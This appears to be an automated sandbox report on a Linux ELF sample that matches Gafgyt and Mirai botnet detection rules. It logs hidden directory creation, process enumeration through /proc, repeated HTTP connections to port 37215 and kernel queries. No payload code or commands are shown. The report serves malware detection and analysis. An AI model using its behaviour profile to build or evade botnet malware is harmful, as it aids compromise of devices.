Source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: Process Memory Space: na.elf PID: 5438, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: na.elf PID: 5442, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: na.elf PID: 5444, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: na.elf PID: 5445, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: na.elf PID: 5448, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: na.elf PID: 5449, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@6/0

Creates hidden files and/or directories

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5459)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5460)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5481)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5481)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5481)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5481)	Directory: /home/saturnino/.config	Jump to behavior

Enumerates processes within the "proc" file system

Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3122/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5381/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3117/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3114/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3631/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/518/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/519/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5417/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5418/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5276/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3134/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3375/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3132/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1745/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1866/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1982/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/765/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/767/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1906/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1748/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5444/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1482/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1480/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1755/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1238/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1875/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/2964/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3413/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1751/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1872/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/2961/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/656/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/778/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/657/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/658/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/659/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/418/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/419/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/816/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1879/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1891/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3153/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/780/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/660/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1921/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/783/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1765/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/2974/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3707/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1400/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1884/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3424/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3708/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/2972/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3709/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3147/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/2970/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1881/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3146/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3300/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5445/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1805/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5448/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1925/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1804/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5449/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1648/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1922/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3429/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5460/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5461/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5462/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5463/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5464/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3442/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3165/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3164/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3163/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3162/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/790/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3161/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/792/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/793/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/672/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1930/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/674/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/795/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3315/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1411/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/2984/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1410/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 55100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38284 -> 37215

Uses the "uname" system call to query kernel version information (possible evasion)

Source: /tmp/na.elf (PID: 5438)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5459)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5460)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5490)	Queries kernel information via 'uname':	Jump to behavior

Source: na.elf, 5438.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5442.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5444.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5445.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5448.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5449.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp	Binary or memory string: >Wax86_64/usr/bin/qemu-sh4/tmp/na.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/na.elf
Source: na.elf, 5438.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5442.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5444.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5445.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5448.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp, na.elf, 5449.1.00007ffc78efc000.00007ffc78f1d000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: na.elf, 5438.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5442.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5444.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5445.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5448.1.000055c3077bb000.000055c30781e000.rw-.sdmp, na.elf, 5449.1.000055c3077bb000.000055c30781e000.rw-.sdmp	Binary or memory string: U5!/etc/qemu-binfmt/sh4
